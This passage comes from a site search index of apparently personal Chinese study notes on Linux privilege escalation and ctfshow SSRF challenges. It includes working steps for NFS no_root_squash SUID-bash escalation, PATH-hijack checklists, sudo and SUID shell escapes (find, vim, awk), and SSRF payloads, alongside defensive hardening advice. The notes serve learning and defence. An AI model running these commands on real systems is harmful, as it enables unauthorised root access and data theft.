↓ 内核检查：文件属主 = root，且有 SUID 位 ↓ 以 root 身份运行 → root shell ✅ 两个阶段发生在不同机器上 —— 这是 NFS 提权最独特的地方。\n五、我修正后的表述\r✅ 修正版：\n\u0026ldquo;如果对方开了 NFS 服务，且共享目录是可写并配置了 no_root_squash（IP 也允许我访问），我就可以在自己机器上把它挂载过来。\n因为 NFS 用 UID 数字判断权限（服务器相信客户端自称的 UID），我本地 root（UID 0）创建的文件，在服务器上属主会被记录成 root。\n我再给它加 SUID 位，就在对方磁盘上造出了一个\u0026rdquo;属主 root + SUID\u0026ldquo;的可执行文件。\n然后在目标机器上（需要一个执行点，比如已有的低权限 shell）运行它 → 以 root 权限执行 → 提权成功。\n另外，挂载本身不需要目标机器的任何权限。如果共享目录里有 .ssh/id_rsa，可以直接读走私钥做初始访问，根本不用等 shell。\u0026rdquo;\n六、一句话总结\r不是\u0026quot;我的 root 进程跑到对方机器上继承了 root\u0026quot;，而是\u0026quot;我通过 NFS 在对方磁盘上创建了一个属主被记录为 root 的文件\u0026quot;。\n两个关键点：\nNFS 只传\u0026quot;UID 数字\u0026quot;，服务器按数字判断权限并记录文件属主 你的进程始终在自己机器上，你只是\u0026quot;远程创建了文件\u0026quot;；真正的提权发生在\u0026quot;目标机器执行那个 SUID 文件\u0026quot;的第二阶段 相关联想\r这个\u0026quot;文件属主 vs 进程继承\u0026quot;的区分很重要——它解释了为什么 root_squash 能防住提权（把你创建的文件的属主从 root 降成 nobody → SUID 就没意义了） UID 欺骗是同源技术：既然服务器信 UID，那你可以创建同 UID 的用户去访问别人的文件 相关笔记： NFS提权原理（基础篇）.md NFS挂载可行性判定（没限制IP就能连吗）.md ","date":"2026-09-21T10:55:25+08:00","permalink":"/notes/privesc/nfs%E6%8F%90%E6%9D%83%E7%90%86%E8%A7%A3%E4%BF%AE%E6%AD%A3%E8%BF%9B%E7%A8%8B%E7%BB%A7%E6%89%BF%E8%BF%98%E6%98%AF%E6%96%87%E4%BB%B6%E5%B1%9E%E4%B8%BB/","title":"NFS 提权理解修正：是\"文件属主\"不是\"进程继承\""},{"content":"NFS 提权原理（基础篇）\r我的原问题：\u0026ldquo;小迪的这个 NFS 提权我也没听懂，可以给我大致讲一下吗？\u0026rdquo;\n一句话理解\rNFS 是\u0026quot;把远程文件夹挂载成本地文件夹\u0026quot;的协议。如果配置不当，你可以在自己机器上伪造一个\u0026quot;root 属主的 SUID 文件\u0026quot;塞进对方服务器，然后执行它就拿到 root。\n一、NFS 的权限模型（理解的关键）\r⚠️ NFS 判断权限靠 UID（数字），不是用户名\r系统 权限依据 需要认证吗 Windows SMB 用户名 + 密码 ✅ 需要 NFS UID/GID 数字 ❌ 服务器直接相信客户端自称的数字 类比：\nNFS 就像进小区\u0026#34;刷身份证号\u0026#34; → 你说\u0026#34;我是 1000 号\u0026#34;，服务器就按 1000 号的权限给你开门 → 它【不核对】你是不是真的 1000 号 这意味着：\n你在自己机器上是 root（UID 0） 挂载远程 NFS 时，客户端告诉服务器\u0026quot;操作者是 UID 0\u0026quot; 服务器如果信任这个声明 → 你就在服务器上也是 root 了 二、安全阀：root_squash（提权成不成的关键）\rNFS 服务器知道上面这个风险，所以默认有保护：\n配置项 含义 安全性 root_squash（默认） 客户端的 root（UID 0）被\u0026quot;压缩/降级\u0026quot;成匿名用户（nobody / 65534） 🟢 安全 no_root_squash 客户端的 root 保持 root 身份 🔴 危险！ 类比：\nroot_squash = \u0026#34;访客的万能卡一律降级成普通卡\u0026#34;（安全） no_root_squash = \u0026#34;访客的万能卡照样能用\u0026#34; （危险） 在 /etc/exports 里的样子：\n/home/user 192.168.1.0/24(rw,sync,no_root_squash) ← 危险配置! /backup 192.168.1.0/24(rw,sync,root_squash) ← 安全配置 /var/www *(ro,sync) ← 只读,也安全 ↑ 没写 root_squash 时默认就是 root_squash 三、完整攻击流程（6 步）\r场景\r目标机器(192.168.1.100) 攻击机 Kali(192.168.1.200) ├── 开放 2049 端口(NFS) ←────── ① 扫描发现 ├── /etc/exports 里有: │ /home/user *(rw,no_root_squash) ② 危险配置 └── 你已有一个 www-data shell(低权限) ③ 后续执行用 ① 探测 NFS 共享\rshowmount -e 192.168.1.100 # 输出: # Export list for 192.168.1.100: # /home/user * ← 共享目录 * = 允许任何IP ② 在 Kali 上挂载共享（挂载不需要目标权限！）\rsudo apt install -y nfs-common # 装NFS客户端工具 sudo mkdir -p /mnt/nfs sudo mount -t nfs 192.168.1.100:/home/user /mnt/nfs -o nolock df -h | grep nfs # 验证挂载成功 ③ 检查两个关键条件\r# 条件A: 能不能写? touch /mnt/nfs/test_write \u0026amp;\u0026amp; echo \u0026#34;可写 ✅\u0026#34; \u0026amp;\u0026amp; rm /mnt/nfs/test_write # 条件B: 造出来的文件属主是谁? ★最关键 touch /mnt/nfs/whoami_test ls -n /mnt/nfs/whoami_test # 属主 0 → root → no_root_squash ✅ 可提权! # 属主 65534 → nobody → root_squash(默认) ❌ 不能提权 rm /mnt/nfs/whoami_test ④ 放\u0026quot;SUID 后门\u0026quot;（核心步骤）\r# Kali 上是 root,复制 bash 到挂载点 cp /bin/bash /mnt/nfs/rootbash # ★ 加 SUID 位（因为 no_root_squash，这个文件在服务器上属主是 root） chmod u+s /mnt/nfs/rootbash ls -l /mnt/nfs/rootbash # 应显示: -rwsr-xr-x 1 root root ... rootbash # ↑ s = SUID位，属主 = root ⑤ 回目标机器执行（通过已有的 www-data shell）\r# 你的低权限 shell 里: ls -l /home/user/rootbash # -rwsr-xr-x 1 root root ... ← 在目标机器上看也是 root 的 SUID 文件! /home/user/rootbash -p # ★ -p = preserve privileges（保持特权） ⑥ 提权成功\rbash-5.1# id uid=0(root) gid=0(root) groups=0(root) ← root! ⚠️ 为什么必须加 -p：SUID 的 bash 默认会主动丢弃特权（bash 的安全设计）。-p 让它保留 SUID 带来的 root 权限。\n四、为什么这条路能成功（逻辑链）\r① no_root_squash 让【你在Kali的root】在服务器上【保持root身份】 ↓ ② 所以你创建的文件,在服务器上【属主被记录为root】 ↓ ③ 你又能给它设【SUID位】(因为你就是属主) ↓ ④ 得到: 文件属主=root + SUID位 ↓ ⑤ 在服务器上执行它 → 内核按SUID规则以root运行 → 提权成功 类比：\n你（外来访客）在小区的公共柜里放了一个盒子 ↓ 因为保安不查证件(no_root_squash)，这个盒子被登记成\u0026#34;业主专柜\u0026#34; ↓ 业主牌上还盖了万能章(SUID) ↓ 你拿着这个盒子刷门禁 → 全楼通行 五、NFS 的其他玩法（不止 SUID 提权）\r手法 前提条件 效果 SUID 后门 可写 + no_root_squash ⭐ 直接拿 root 读敏感文件 共享目录里有敏感文件 读 SSH 私钥、shadow、配置密码 SSH 私钥登录 共享了 /home/*/.ssh/ ssh -i id_rsa user@target 登录 写 SSH 公钥 .ssh/ 可写 写自己的公钥进 authorized_keys → 免密登录 UID 欺骗 共享目录 创建同 UID 用户 → 访问别人的文件 覆盖配置文件 共享了 /etc 等 改 passwd 加 root 账户（需服务重读） 投毒脚本 可写 + 有 root 的 cron 调用 改脚本内容 → 下次执行时提权 实战优先检查：.ssh/id_rsa、.bash_history、*.conf、.env、备份文件。\n六、实战检查清单\r# ===== 在 Kali（攻击机）上 ===== # 1. 扫 NFS nmap -p 2049 --script nfs-showmount,nfs-ls 192.168.1.100 showmount -e 192.168.1.100 # 2. 挂载所有共享目录 sudo mkdir -p /mnt/nfs1 /mnt/nfs2 sudo mount -t nfs 192.168.1.100:/home/user /mnt/nfs1 -o nolock sudo mount -t nfs 192.168.1.100:/var/backup /mnt/nfs2 -o nolock # 3. 检查可写性 + 属主（决定走哪条路） touch /mnt/nfs1/test \u0026amp;\u0026amp; ls -n /mnt/nfs1/test # 4. 翻敏感文件（不需要任何目标权限） cat /mnt/nfs1/.ssh/id_rsa 2\u0026gt;/dev/null cat /mnt/nfs1/.bash_history 2\u0026gt;/dev/null find /mnt/nfs1 -name \u0026#34;*.conf\u0026#34; -o -name \u0026#34;.env\u0026#34; -o -name \u0026#34;*.bak\u0026#34; 2\u0026gt;/dev/null | head # 5. 放SUID后门 cp /bin/bash /mnt/nfs1/rootbash \u0026amp;\u0026amp; chmod u+s /mnt/nfs1/rootbash # ===== 在目标机器上（通过已有 shell）===== /home/user/rootbash -p 七、防御方法（知道怎么防才算真懂）\r防御措施 说明 不要用 no_root_squash ⭐ 最关键的一条 限制共享 IP 范围 192.168.1.50(rw) 而不是 *(rw) 共享目录挂载时加 nosuid SUID 位失效 共享目录加 noexec 禁止执行 不要共享敏感目录 /、/root、/etc、/home 慎共享 防火墙限制 2049 只允许必要 IP all_squash + 匿名 UID 所有用户都映射成 nobody 加固后的 /etc/exports 示例：\n/home/user 192.168.1.50(rw,sync,root_squash,all_squash,anonuid=65534,anongid=65534) # ↑默认 ↑所有用户映射成nobody 八、与其他提权路线的对比\r路线 前提 特点 SUID 滥用 本地有可滥用的 SUID 程序 本地操作 sudo 配置错误 sudoers 授权过宽 本地操作 环境变量提权 特权程序用相对路径调命令 本地操作 NFS 提权 ⭐ NFS 共享 + no_root_squash 跨机器操作（从攻击机\u0026quot;投毒\u0026quot;） 内核漏洞（脏牛） 内核版本老 本地操作 NFS 的独特之处：它是**唯一需要\u0026quot;另一台机器配合\u0026quot;**的提权方式——用自己机器的 root，\u0026ldquo;隔空\u0026quot;在目标上造一个 root 文件。\n一句话总结\rNFS 提权的本质：NFS 用 UID 判断权限（服务器相信客户端自称的数字）。若服务器配了 no_root_squash，攻击机上的 root 就能在服务器上创建属主为 root + SUID 位的文件，回目标机器执行 → root shell。\n一句话记法：\u0026ldquo;我在自己机器上是 root，NFS 服务器也认我是 root，所以我造的文件就是 root 的，加个 SUID 位就能提权。\u0026rdquo;\n相关联想\r默认安全：绝大多数 NFS 配置用的是默认的 root_squash → 提权不成立，但读文件（找私钥）仍然可行 Kali 默认 UID 是 1000，目标机器普通用户也常是 1000 → 直接就能读写共享目录 -o nolock：挂载时常用参数，避免 NFS 锁定服务依赖 相关笔记： NFS提权理解修正（进程继承还是文件属主）.md NFS挂载可行性判定（没限制IP就能连吗）.md ","date":"2026-09-21T10:55:13+08:00","permalink":"/notes/privesc/nfs%E6%8F%90%E6%9D%83%E5%8E%9F%E7%90%86%E5%9F%BA%E7%A1%80%E7%AF%87/","title":"NFS 提权原理（基础篇）"},{"content":"环境变量提权：原理与两个常见误解\r我的原话（完整保留，方便以后对照）：\n\u0026ldquo;我想问问 linux 的环境变量提权的过程就是通过拿到的普通用户权限去查看 suid 所给予权限的文件，然后找到可利用的文件（优先用户自己创建的文件）去看它的参数是否有可以实现命令执行的，然后再到 /tmp 目录下去创建一个与之对应的参数且它的作用是去调用终端，最后再将环境变量指向我们自己定义的参数就能实现环境变量提权。但是！在这个过程中我有很多疑问：1. 是不是环境变量提权的入口点得是能创建文件的用户，所以 web 权限是无法实现的。2. 为什么普通用户权限可以更改环境变量，这不应该是 root 才能做的吗，我认为出现这个漏洞的最大成因就是人普通用户也能实现更改环境变量\u0026rdquo;\n我的原始理解（记录在案）：\n我以为环境变量提权必须依赖 SUID 文件 我以为要找\u0026quot;用户自己创建的文件\u0026quot; 我以为 Web 权限（www-data）做不了环境变量提权 我以为普通用户不该能改环境变量，漏洞成因就是\u0026quot;用户能改环境变量\u0026quot; 结论先行\r我的理解 正确与否 修正 必须依赖 SUID ⚠️ 不一定 更常见的是 root 的 cron 任务 / 服务脚本 找\u0026quot;用户自己创建的文件\u0026quot; ❌ 应该是\u0026quot;用户可写目录\u0026quot;（用来放恶意程序） Web 权限做不了 ❌ 反了 /tmp 是 1777，任何用户可写，Web 权限完全能做 漏洞成因是\u0026quot;用户能改环境变量\u0026quot; ❌ 核心误解 漏洞成因是\u0026quot;root 程序用了用户可控的环境变量去找命令\u0026quot; 普通用户不该能改环境变量 ❌ 环境变量分进程级（自己控制）和系统级（root 控制），改自己的完全合法 一、我描述里的三个细节纠正\r我的说法 更准确的表述 \u0026ldquo;查看 SUID 所给予权限的文件\u0026rdquo; 环境变量提权不一定靠 SUID，更常见是 root 的 cron 任务 / root 服务脚本 \u0026ldquo;优先用户自己创建的文件\u0026rdquo; 应是\u0026quot;用户可写目录里的程序\u0026quot;（你要往里放恶意程序，不是找自己创建的文件） \u0026ldquo;将环境变量指向我们自己定义的参数\u0026rdquo; 意思对，准确说法：把 PATH 指向你放恶意程序的目录 修正后的完整流程\r① 找一个\u0026#34;以 root 运行 + 用相对路径调用外部命令\u0026#34;的程序 （root 的 cron 脚本 / root 服务脚本 / 少数 SUID 程序） ② 在【可写目录】(如 /tmp) 放一个【同名】的恶意程序 /tmp/ls ← 内容通常是 /bin/bash -p 或直接反弹 shell ③ 让那个特权程序运行时的路径查找命中你的 /tmp/ls （通过 PATH 环境变量 或 它自带的不安全 PATH） ④ 它以 root 身份执行了你的程序 → 提权成功 二、疑问 1：Web 权限能不能做环境变量提权？\r✅ 能！我原来的判断是反的\r关键事实：/tmp 的权限是 drwxrwxrwt（1777）——任何用户都能在其中创建文件。\n$ ls -ld /tmp drwxrwxrwt 1 root root ... /tmp ↑ ↑ 最后一位 w = 所有用户可写 最后的 t = sticky bit（只能删自己的文件） 身份 能在 /tmp 创建文件吗 普通用户 ✅ 能 www-data（Web 权限） ✅ 能 nobody ✅ 能 任何拿到 shell 的用户 ✅ 能 所以 Web 权限完全做得了环境变量提权 —— 放恶意程序不需要任何特殊权限。\n⚠️ 例外情况（这些才做不了）：\n/tmp 被挂载为 noexec（禁止执行）→ 检查：mount | grep /tmp 容器 / SELinux 严格限制 只读文件系统 三、疑问 2：为什么普通用户能改环境变量？（核心误解）\r🔑 因为他改的是\u0026quot;自己进程的\u0026quot;环境变量，不是\u0026quot;系统的\u0026quot;\r环境变量分两个层级：\n层级 谁能改 影响范围 需要 root 吗 进程级（export PATH=...） ✅ 任何用户（改自己的） 只影响自己的进程及子进程 ❌ 不需要 系统级（/etc/environment、/etc/profile） ❌ 只有 root 所有用户的新会话 ✅ 需要 $ export PATH=/tmp:$PATH # 完全合法，任何用户都能做 # 这只是\u0026#34;改我自己这个 shell 的 PATH\u0026#34; 这不是漏洞，是设计如此 —— 环境变量本来就是\u0026quot;用户自己的工作环境配置\u0026quot;。\n那漏洞到底在哪？\r漏洞不在\u0026ldquo;你能改环境变量\u0026rdquo;，而在：\n一个以 root 身份运行的程序，使用了\u0026quot;你能影响的环境变量\u0026quot;去查找要执行的命令。\n对应 CWE-426: Untrusted Search Path（不可信搜索路径）\n类比\r正常情况: 你在自己家贴便利贴(\u0026#34;我的钥匙放抽屉里\u0026#34;) ← 改自己的环境变量，合理 快递员按自己的规矩送快递 ← root 程序用自己的 PATH 漏洞情况: 公司老板进你家，按【你贴的便利贴】办事 ← root 程序用了你的 PATH！ \u0026#34;便利贴上写着钥匙在抽屉\u0026#34; → 老板真去抽屉拿了 但你放的假钥匙 → 你控制了老板的行动 成因一句话：特权程序信任了不可信的环境。\n四、⚠️ 重要现实：现代系统对 SUID 有保护\r我原来的描述假设\u0026quot;SUID + 环境变量\u0026quot;通用，但大部分场景已经不成立了：\n场景 现代系统还能用吗 说明 SUID + PATH 劫持 ❌ 多数不行 glibc/内核有安全执行模式：SUID 程序启动时 PATH 被重置为 /bin:/usr/bin 等安全值 SUID + LD_PRELOAD ❌ 不行 glibc 2.24+ 对 SUID 程序忽略 LD_PRELOAD SUID + LD_LIBRARY_PATH ❌ 不行 同上，被忽略 root 的 cron 任务 + PATH ✅ 仍然有效 cron 的 PATH 由 crontab 定义，常配置不当 root 运行的服务脚本 + PATH ✅ 有效 很多老服务脚本用相对路径 sudo 授权的脚本 + PATH ⚠️ 看配置 sudo 默认重置 PATH，但 env_keep 可能保留 自定义环境变量（PYTHONPATH 等） ✅ 有效 若 SUID 程序是 Python/Perl 脚本 实战结论\r❌ 直接对 /usr/bin/some_suid 做 PATH 劫持 → 大概率失败（PATH被重置） ✅ 对 root 的 cron 脚本做 PATH 劫持 → 高成功率 ✅ 对 root 服务的启动脚本做劫持 → 中高成功率 ✅ SUID 程序是脚本写的(python/perl/sh) → 可能有效 检查 SUID 程序是否安全：\nstrings /path/to/suid_program | grep -iE \u0026#34;path|/bin\u0026#34; # 实测法 export PATH=/tmp:$PATH /path/to/suid_program # 看它调用的命令是否命中你的 /tmp 五、完整的\u0026quot;环境变量提权\u0026quot;场景清单\r类型 触发条件 利用方式 PATH 劫持 特权程序用相对路径调命令 可写目录放同名恶意程序 + 改 PATH LD_PRELOAD 特权程序允许预加载（老系统/特殊配置） 编译恶意 .so + 设置 LD_PRELOAD LD_LIBRARY_PATH 同上 放恶意库到指定目录 IFS 劫持 脚本用 $IFS 且未加引号 改 IFS 影响命令解析 PYTHONPATH / PERL5LIB 特权程序是 Python/Perl 脚本 放同名恶意模块 未初始化变量注入 脚本用未定义变量（如 $CMD） 通过环境注入控制 六、实战检查清单（拿到 shell 后）\r# ① 找 root 的定时任务(环境变量提权最高成功率场景) cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ crontab -l # ② 找 SUID 程序 find / -perm -4000 -type f 2\u0026gt;/dev/null # ③ 找可写目录(用来放恶意程序) find / -writable -type d 2\u0026gt;/dev/null | head -20 # ④ 看 SUID/脚本调用了哪些外部命令(找相对路径调用) strings /path/to/suid | grep -E \u0026#34;^(ls|cat|tar|cp|mv|find)$\u0026#34; # ⑤ 检查 /tmp 是否可执行(noexec 就没戏) mount | grep /tmp 判断优先级：\ncron 任务里有 root 跑的脚本 + 脚本用相对路径 → 首选 服务脚本可写 or 它的依赖目录可写 → 次选 SUID 程序是脚本类 → 可能有效 SUID 二进制 + PATH → 现代系统大概率失败（先试再说） 一句话总结\r① Web 权限完全能做环境变量提权（/tmp 是 1777，所有用户可写）。\n② 普通用户当然能改环境变量——因为他改的是\u0026quot;自己进程的\u0026ldquo;环境变量（进程级，本来就该自己控制），而系统级配置（/etc/environment）才需要 root。\n③ 漏洞成因不是\u0026quot;用户能改环境变量\u0026rdquo;，而是\u0026quot;root 程序用了用户可控的环境变量去找命令\u0026quot;（CWE-426 不可信搜索路径）。\n④ 现代系统对 SUID 有保护（PATH 重置、忽略 LD_PRELOAD），所以这条路更常见于 root 的 cron 任务 / 服务脚本。\n相关联想\rCWE-426：Untrusted Search Path（不可信搜索路径）—— 这是官方漏洞分类编号，写报告时会用到 glibc secure execution mode：SUID 程序 AT_SECURE 标志导致 PATH 重置、LD_PRELOAD 忽略 sticky bit（t）：/tmp 的 1777 权限，限制\u0026quot;只能删自己的文件\u0026quot; noexec 挂载：/tmp 常见安全加固项，直接废掉\u0026quot;在 /tmp 放程序\u0026quot;这条路 cron 的 PATH：由 crontab 顶部 PATH= 定义，很多管理员写成 /usr/bin:/bin 但脚本里用了 /usr/local/bin 的命令 → 产生劫持空间 与 SUID/sudo 提权的关系： SUID 提权 = 滥用 SUID 程序本身的参数 sudo 提权 = 滥用 sudoers 授权 环境变量提权 = 滥用特权程序的\u0026quot;路径查找\u0026quot;逻辑（三者是不同路线） 相关笔记： SUID与sudo的区别（Linux提权基础）.md Web权限与土豆家族（语言≠权限）.md UAC与令牌窃取与进程注入（概念澄清）.md ","date":"2026-09-21T10:02:37+08:00","permalink":"/notes/privesc/%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E6%8F%90%E6%9D%83%E5%8E%9F%E7%90%86%E4%B8%8E%E4%B8%A4%E4%B8%AA%E8%AF%AF%E8%A7%A3/","title":"环境变量提权：原理与两个常见误解"},{"content":"从大一到目前为止，我网安的学习路线是： linux的基本原理与命令 \u0026ndash;\u0026gt; 网络中的基本协议 \u0026ndash;\u0026gt; python的基础语法与进阶 \u0026ndash;\u0026gt;\n","date":"2026-09-19T21:35:00+08:00","permalink":"/posts/%E7%9B%AE%E5%89%8D%E7%BD%91%E5%AE%89%E7%9A%84%E5%AD%A6%E4%B9%A0%E5%BF%83%E5%BE%97/","title":"目前的学习网安心得"},{"content":"SUID 与 sudo 的区别：Linux 提权基础\r我的原问题：\u0026ldquo;SUID 和 sudo 在提权中有啥不同的地方吗？我看完小迪后认为它们都是给予普通用户以管理员权限去调用某个命令，好像也没啥其他区别了。那为啥会出现这两个不同的命令呢？开发 Linux 的人如果想让对方暂时获得高权限，直接制造 sudo 或 SUID 不就可以了？\u0026rdquo;\n我的原始理解（记录在案，方便以后对照错在哪）：\n我以为 SUID 和 sudo 是\u0026quot;两个并列的方案\u0026quot;，功能重复 我以为它们都是\u0026quot;给普通用户管理员权限\u0026quot; 我不理解为什么要设计两套机制 结论先行（关键洞察）\rSUID 和 sudo 不是并列关系，而是\u0026quot;底层机制\u0026quot;与\u0026quot;基于它的上层工具\u0026quot;的关系。\n决定性事实：sudo 这个程序本身就带 SUID 位。\n$ ls -l /usr/bin/sudo -rwsr-xr-x 1 root root ... /usr/bin/sudo ↑ s = SUID位 层次结构：\n┌──────────────────────────────────────┐ │ sudo（应用层工具） │ │ - /etc/sudoers 精细授权规则 │ │ - 密码认证 │ │ - 操作日志 │ │ ↓ 它靠什么获得 root 权限？ │ │ ┌────────────────────────────────┐ │ │ │ SUID 机制（内核提供） │ │ │ │ /usr/bin/sudo 带 s 位，属主root│ │ │ └────────────────────────────────┘ │ └──────────────────────────────────────┘ 一、SUID 是什么\rSUID（Set User ID）= 文件权限上的一个标志位（内核机制）\n作用：执行该文件时，进程以文件属主的身份运行，而不是执行者的身份。\n$ ls -l /usr/bin/passwd -rwsr-xr-x 1 root root ... /usr/bin/passwd ↑ s 表示 SUID 位；属主是 root 普通用户执行 passwd 时，进程的 EUID 变成 root，所以能写 /etc/shadow。\n为什么 passwd 需要 SUID（设计初衷）\r困境: 普通用户要改自己的密码 → 需要写 /etc/shadow 但 /etc/shadow 只有 root 能写 矛盾: 用户必须能改密码，但不该有读写整个密码文件的权限 SUID 的解法: passwd 属主=root + 带 SUID 位 → 用户执行时，进程以 root 身份运行 → 但 passwd 内部只做\u0026#34;改密码\u0026#34;这一件事，做完就退出 → 用户并没有真的\u0026#34;变成 root\u0026#34; 其他常见 SUID 程序：\n程序 为什么需要 SUID passwd 写 /etc/shadow ping（早期） 需要原始套接字（root 特权） mount 挂载文件系统 su 切换用户 chsh / gpasswd 修改用户信息 关键：SUID 面向的是\u0026quot;程序的能力\u0026quot;，不是\u0026quot;人的授权\u0026quot;。它设计初衷不是给用户管理员权限。\n二、sudo 是什么\rsudo = 一个用户态程序（应用层工具）\n作用：按 /etc/sudoers 的配置，以指定用户（默认 root）身份执行指定命令。\n# 典型规则 ops ALL=(root) /usr/bin/systemctl restart nginx # → ops 用户只能重启 nginx，还要输自己的密码，且有日志 关键：sudo 面向的是\u0026quot;人的授权\u0026quot;，可以精确控制 + 留痕。\n三、核心对比表\r维度 SUID sudo 本质 文件权限位（内核机制） 用户态程序（应用层工具） 作用范围 执行该文件时以属主身份 按规则以指定用户身份执行指定命令 认证 ❌ 不需要密码 ✅ 需要输自己的密码（默认） 粒度 整个程序都跑在 root 下 可精确到\u0026quot;某用户只能执行某条命令\u0026quot; 审计 ❌ 内核层面无日志 ✅ 有日志（/var/log/auth.log） 配置方式 chmod u+s 文件 编辑 /etc/sudoers（用 visudo） 临时性 进程结束即失效 默认 15 分钟内免密（timestamp 缓存） 设计对象 程序的能力 人的授权 四、为什么要设计两套（设计哲学）\rSUID sudo 解决的问题 这个程序需要特权才能干活 这个人需要干一部分管理员的活 典型场景 passwd 改密码、ping 用原始套接字 运维重启服务、部署代码 历史 内核早期就有的基础机制 1980 年代为解决\u0026quot;安全委派\u0026quot;而写的工具 类比：\nSUID = 给某个工具配一把万能钥匙（工具本身能开门，谁拿起来都能用） sudo = 给某个人发一张门禁卡（刷卡有记录、限定能进哪几扇门、要验指纹） 层次关系：\nsudo 是\u0026#34;用 SUID 机制实现的权限委派工具\u0026#34; → 它补齐了 SUID 没有的能力：精细控制 + 审计 + 认证 五、提权中的利用差异（重点）\rSUID 提权：找\u0026quot;被滥用的 SUID 程序\u0026quot;\r# 1. 找出所有带 SUID 位的文件 find / -perm -4000 -type f 2\u0026gt;/dev/null # 2. 查 GTFOBins (https://gtfobins.github.io/) 看哪些能被滥用 原理：程序本来只打算干 A 事，但因为它以 root 跑，能让它顺手干 B 事。\nSUID 程序 滥用方式 vim vim -c ':!/bin/sh' → 逃逸出 root shell find find . -exec /bin/sh -p \\; -quit nmap --interactive（老版本） !sh bash（带SUID） bash -p → root shell cp 覆盖 /etc/passwd less / more !sh 特点：❌ 不需要密码，✅ 直接拿 root\nsudo 提权：找\u0026quot;被授权过宽的命令\u0026quot;\r# 查看当前用户的 sudo 权限 sudo -l 危险输出示例：\nUser www-data may run the following commands: (root) NOPASSWD: /usr/bin/find ← 危险！find 能执行命令 (root) /usr/bin/vim ← 危险！vim 能逃逸 shell (root) /usr/bin/awk ← 危险！ 利用：\nsudo find . -exec /bin/sh \\; -quit # → root shell sudo vim -c \u0026#39;:!/bin/sh\u0026#39; # → root shell sudo awk \u0026#39;BEGIN {system(\u0026#34;/bin/sh\u0026#34;)}\u0026#39; # → root shell 特点：⚠️ 通常需要密码（除非配置了 NOPASSWD）\n对比总结\rSUID 提权 sudo 提权 漏洞成因 程序本身有滥用点 管理员配置过宽 需要密码 ❌ 不需要 ✅ 需要（除 NOPASSWD） 发现方法 find / -perm -4000 -type f 2\u0026gt;/dev/null sudo -l 典型场景 系统自带/第三方安装的 SUID 程序 运维图方便写了宽松的 sudoers 修复方式 去掉 SUID 位 / 升级程序 收紧 sudoers 规则 六、实测验证命令\r# 1. 确认 sudo 自己带 SUID 位（验证层次关系） ls -l /usr/bin/sudo ls -l /usr/bin/passwd # 2. 列出系统所有 SUID 程序 find / -perm -4000 -type f 2\u0026gt;/dev/null # 3. 查看当前用户的 sudo 权限 sudo -l # 4. 查看 SUID 程序的属主 ls -l /usr/bin/passwd /usr/bin/chsh /usr/bin/gpasswd /usr/bin/mount 一句话总结\rSUID 是内核级的\u0026quot;文件权限位\u0026quot;，让程序以属主身份运行（无认证、无审计，为\u0026quot;程序的能力\u0026quot;设计）；sudo 是应用层的\u0026quot;权限委派工具\u0026quot;，按配置精确授权（有认证、有审计，为\u0026quot;人的授权\u0026quot;设计）。sudo 本身就靠 SUID 位运行——所以它们不是并列的两套方案，而是\u0026quot;底层机制\u0026quot;和\u0026quot;基于它的上层工具\u0026quot;。\n相关联想\rGTFOBins（https://gtfobins.github.io/）：SUID/sudo 提权的必查网站，收录了所有可滥用程序的利用方式 Linux 提权检查清单： sudo -l —— 看 sudo 权限 find / -perm -4000 -type f 2\u0026gt;/dev/null —— 找 SUID find / -perm -2000 -type f 2\u0026gt;/dev/null —— 找 SGID uname -a / cat /etc/os-release —— 看内核/发行版版本（查内核漏洞） crontab -l / cat /etc/crontab —— 看计划任务 cat /etc/passwd —— 看用户 ls -la /etc/ —— 看配置文件权限 内核漏洞提权（如脏牛 CVE-2016-5195）与 SUID/sudo 是不同路线： SUID/sudo = 配置/程序滥用（不需要内核漏洞） 脏牛 = 内核漏洞（需要内核版本匹配） Windows 对应物： SUID 类似 Windows 的\u0026quot;服务以 SYSTEM 运行\u0026quot; sudo 类似 Windows 的\u0026quot;UAC 提权\u0026quot;+\u0026ldquo;委派管理\u0026quot;概念 相关笔记： Web权限与土豆家族（语言≠权限）.md UAC与令牌窃取与进程注入（概念澄清）.md ","date":"2026-09-19T14:25:47+08:00","permalink":"/notes/privesc/suid%E4%B8%8Esudo%E7%9A%84%E5%8C%BA%E5%88%ABlinux%E6%8F%90%E6%9D%83%E5%9F%BA%E7%A1%80/","title":"SUID 与 sudo 的区别：Linux 提权基础"},{"content":"ctfshow web353\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web353 难度：⭐ 考点：SSRF 日期：2026-9-18 题目描述\r题目过滤了基本的ssrf的玩法，如localhost，127.0.0.1啥的,需要注意的是这题为post提交方式\n解题思路\r1.迪宝教过花式玩法，在ssrf中0也是代表着127.0.0.1\nPayload / 关键操作\rurl=http://0/flag.php 复现截图\r对应小迪课程章节\rSSRF\n踩坑记录 / 复盘\r无\n","date":"2026-09-18T12:31:05+08:00","permalink":"/notes/ctf/ssrf/web353/","title":"ctfshow web353"},{"content":"ctfshow web352\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：web352 难度：⭐~⭐⭐⭐ 考点：如 SQL 注入（无回显） 日期：2026-9-15 题目描述\r题目以POST接收用户输入，且用户的输入中必须包含http或https。如果用户输入中包含了localhost或者127.0.0.1则会输出hacker，其他正常回显。\n解题思路\r1.迪宝讲过，一般在这种环境下0也是等于访问127.0.0.1（只是在对方服务器上有类似这些功能才行，自己主机是不行的）\nPayload / 关键操作\r1.url=http://0/flag.php 复现截图\r对应课程章节\rSSRF\n踩坑记录 / 复盘\r无\n","date":"2026-09-15T18:54:21+08:00","permalink":"/notes/ctf/ssrf/web352/","title":"ctfshow web352"},{"content":"ctfshow web351\r用法：复制本模板到对应漏洞文件夹，重命名（如 web5_命令执行绕过.md），然后填写。\n题号：webXXX 难度：⭐ 考点：SSRF（无过滤） 日期：2026-9-15 题目描述\r上图是个简单的没有任何过滤的SSRF\n解题思路\r1.发现函数curl知道对方设计此网站的目的是去用服务器加载外部资源并显示出来但是对用户的输入并没有做任何的过滤，只需要注意它是POST接收方式即可。\nPayload / 关键操作\r1.url=127.0.0.1/flag.php 复现截图\r对应课程章节\rSSRF\n踩坑记录 / 复盘\r无\n","date":"2026-09-15T18:43:48+08:00","permalink":"/notes/ctf/ssrf/web351/","title":"ctfshow web351"},{"content":"UAC / 令牌窃取 / 进程注入：三个概念澄清\r我的原问题：\u0026ldquo;是不是什么令牌窃取和进程注入都是管理员 